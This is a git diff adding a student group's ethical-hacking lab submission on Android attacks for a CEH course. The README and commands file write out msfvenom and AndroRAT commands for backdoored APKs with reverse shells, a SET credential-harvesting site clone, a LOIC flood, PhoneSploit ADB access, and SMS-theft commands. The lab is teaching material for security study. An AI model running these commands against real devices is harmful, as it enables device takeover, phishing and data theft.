diff --git a/Module17_MobileSecurity/CEH_MODULE17_GROUP11.zip b/Module17_MobileSecurity/CEH_MODULE17_GROUP11.zip new file mode 100644 index 0000000..5772111 Binary files /dev/null and b/Module17_MobileSecurity/CEH_MODULE17_GROUP11.zip differ diff --git a/Module17_MobileSecurity/CEH_MODULE17_REPORT_GROUP 11.docx b/Module17_MobileSecurity/CEH_MODULE17_REPORT_GROUP 11.docx new file mode 100644 index 0000000..b926b65 Binary files /dev/null and b/Module17_MobileSecurity/CEH_MODULE17_REPORT_GROUP 11.docx differ diff --git a/Module17_MobileSecurity/README.md b/Module17_MobileSecurity/README.md index db4d1a7..cc672ac 100644 --- a/Module17_MobileSecurity/README.md +++ b/Module17_MobileSecurity/README.md @@ -1 +1,95 @@ -# Module17_MobileSecurity\n\n## Instructions\n\nEach group assigned this module must create a folder like this:\n\n- GroupXX/\n - CEH_ModuleXX_Report_GroupXX.docx\n - screenshots/\n - commands.txt\n - tools-used.txt\n\nπŸ“Œ Deadline: 15 May 2025\nπŸ“Œ Submit via Pull Request ONLY\n\nInstructor: Mr. Abdullah Bin Zarshaid\nCourse: CY201 – Spring 2025 +Overview +This repository contains the complete documentation and lab work for Module 17: Hacking Mobile Platforms, part of the CEH v12 program. Our group conducted ethical hacking simulations on Android platforms, exploring both attack vectors and defensive strategies. + +Group Information +Group Members: +Muhammad Shaheem (Student ID: 2023507) +Shayan Siddique (Student ID: 2023656) +Zulqamain Umar (Student ID: 2023556) + +Course Details: +Course: CY201 - Cyber Security Principles and Concepts +Instructor: Mr. Abdullah Bin Zarshaid +Submission Date: 14 May 2025 + +Module Objectives +The module covered both offensive and defensive aspects of mobile security: +Offensive Techniques: + Creating and deploying malicious APKs using tools like msfvenom and AndroRAT + Exploiting Android devices through ADB using PhoneSploit + Conducting social engineering attacks with SET + Performing DoS attacks with LOIC +Defensive Strategies: + Analyzing APKs for vulnerabilities using SISIK analyzer + Detecting malware with Malwarebytes + Monitoring network traffic using Wireshark + +Detailed Lab Work +Lab 01: Attack Simulations + Task 1: Binary Payload with Metasploit + We created a backdoored APK and established Meterpreter session using these commands: + msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.3 LPORT=4444 -o Backdoor.apk + use exploit/multi/handler + set payload android/meterpreter/reverse_tcp + set LHOST 192.168.10.3 + set LPORT 4444 + exploit -j -z + + Task 2: Social Engineering with SET + We cloned a hotel booking site to harvest credentials using: + setoolkit + Selected credential harvester attack method + Configured with IP 10.10.1.13 and cloned http://certifiedhacker.com/Online%20Booking/index.htm + + Task 3: DoS Attack with LOIC + We performed a TCP flood attack on target 10.0.2.15 port 80 with 100 threads, monitored using Wireshark. + + Task 4: ADB Exploitation with PhoneSploit + We gained shell access to an Android device using: + python3 phonesploitpro.py + Connected to target device IP 10.10.1.14 + Accessed shell and executed commands like ls, cd, and ran apps remotely. + + Task 5: APK Backdoor with AndroRAT + We created a malicious APK and established remote control: + python3 androRAT.py --build -i 10.10.1.13 -p 4444 -o SecurityUpdate.apk + python3 androRAT.py --shell -i 0.0.0.0 -p 4444 + Exfiltrated SMS, MAC address, and device info. + +Lab 02: Defense and Analysis + Task 1: APK Analysis with SISIK + Analyzed communicationstage.apk revealing: + Min SDK: API 10 (Android 2.3.3) + Target SDK: API 17 (Android 4.2) + Version: 1.0 + + Task 2: Malware Detection with Malwarebytes + Scanned device detecting: + LOIC_v1.3.apk as suspicious + Protection score: 32/100 (Poor) + +-> Key Findings and Lessons + Critical Vulnerabilities Identified: + Outdated Android OS versions without security patches + Exposed ADB ports allowing unauthorized access + Effectiveness of social engineering attacks + Risks of sideloading APKs from untrusted sources + Defensive Recommendations: + Regular OS and security updates + Disabling "Unknown Sources" for APK installation + Network monitoring for unusual traffic + User education about phishing risks + Ethical Considerations + All tests were conducted in a controlled lab environment with proper authorization. These techniques should only be used for legitimate security testing purposes with explicit permission. + +->Repository Structure + The repository contains: + Complete lab report PDF with detailed methodologies + Screenshots documenting our processes and results + Command references for all lab tasks + This README file summarizing our work + How to Use This Repository + Review the full report for comprehensive understanding + Refer to command references for technical details + Note all activities must be conducted ethically and legally + Never execute these techniques without proper authorization diff --git a/Module17_MobileSecurity/Screenshots.zip b/Module17_MobileSecurity/Screenshots.zip new file mode 100644 index 0000000..35c69ae Binary files /dev/null and b/Module17_MobileSecurity/Screenshots.zip differ diff --git a/Module17_MobileSecurity/commands.txt b/Module17_MobileSecurity/commands.txt new file mode 100644 index 0000000..71dc5e3 --- /dev/null +++ b/Module17_MobileSecurity/commands.txt @@ -0,0 +1,104 @@ +--- Lab 01 --- + +-- Task 1 - Hacking via Binary Payload using Metasploit -- + +1. Payload Creation: +msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.3 LPORT=4444 -o /root/Desktop/Backdoor.apk + +2. Web Server Setup: +mkdir /var/www/html/share +chmod -R 777 /var/www/html/share +chown -R www-data:www-data /var/www/html/share +service apache2 start +scp /root/Desktop/Backdoor.apk /var/www/html/share + +3. Metasploit Listener: +use exploit/multi/handler +set payload android/meterpreter/reverse_tcp +set LHOST 192.168.10.3 +set LPORT 4444 +exploit -j -z + +4. Post-Exploitation Commands: +sysinfo +cd /sdcard +ps + +-- Task 2 - Social Engineering using SET -- + +1. Launching SET: +setoolkit + +2. Menu Navigation: +Social-Engineering Attacks (Option 1) +Website Attack Vectors (Option 2) +Credential Harvester Attack Method (Option 3) +Site Cloner (Option 2) + +3. Configuring the Attack: +IP for POST back: 10.10.1.13 +URL to Clone: http://certifiedhacker.com/Online%20Booking/index.htm + +-- Task 3 - Launching a DoS Attack using LOIC -- + +1. LOIC Setup (GUI-Based): +Enter target URL/IP: http://10.0.2.15 +Port: 80 +Threads: 100 +Protocol: TCP + +2. Monitoring Traffic (Wireshark): +wireshark + +-- Task 4 - Exploiting Android via ADB using PhoneSploit -- + +1. Launching PhoneSploit: +python3 phonesploitpro.py + +2. Connecting to Target Device: +Enter selection > 1 +Enter target phone's IP Address > 10.10.1.14 + +3. Key Actions: +Shell Access (Option 14): +ls +cd /sdcard/Download + +Screenshot Capture (Option 6) +List Installed Apps (Option 13) +Run App Remotely (Option 10): +com.android.calculator2 + +-- Task 5 - Hacking via APK using AndroRAT -- + +1. Payload Generation: +python3 androRAT.py --build -i 10.10.1.13 -p 4444 -o SecurityUpdate.apk + +2. Web Server Setup: +mkdir /var/www/html/share +chmod -R 755 /var/www/html/share +chown -R www-data:www-data /var/www/html/share +service apache2 start + +3. Listener Activation: +python3 androRAT.py --shell -i 0.0.0.0 -p 4444 + +4. Post-Exploitation Commands: +getSMS inbox +getMACAddress +deviceInfo + +--- Lab 02 --- + +-- Task 1 - APK Analysis using SISIK Online APK Analyzer -- + +Procedure: +Upload communicationstage.apk to SISIK Online APK Analyzer +Review output (min SDK, target SDK, permissions) + +-- Task 2 - Securing Android with Malwarebytes -- + +1. Scan Execution (GUI): +Open Malwarebytes +Navigate to Scanner β†’ Run Scan +Review threats (e.g., LOIC_v1.3.apk) \ No newline at end of file diff --git a/Module17_MobileSecurity/tools.txt b/Module17_MobileSecurity/tools.txt new file mode 100644 index 0000000..3dd3799 --- /dev/null +++ b/Module17_MobileSecurity/tools.txt @@ -0,0 +1,12 @@ +1. Wireshark – Used to analyze the packets sent by the Attacker OS. +2. MalwareBytes Security– Used to scan the device for potential threats. +3. Sixo Online APK Analyzer – Used to analyze the APK file for its source code, app +details and digital signatures. +4. AndroRat – Used backdoor with auto-start persistence & device data exfiltration. +5. PhoneSploit - Used exposed ADB on Android devices for remote command +execution. +6. LOIC - Used to perform DoS/DDoS attacks by flooding a target with TCP/UDP +packets. +7. Social-Engineer Toolkit (SET) - Used to launch social engineering attacks via email. +8. Metasploit – Used to hack an Android device by creating Binary Payloads using +Parrot Security \ No newline at end of file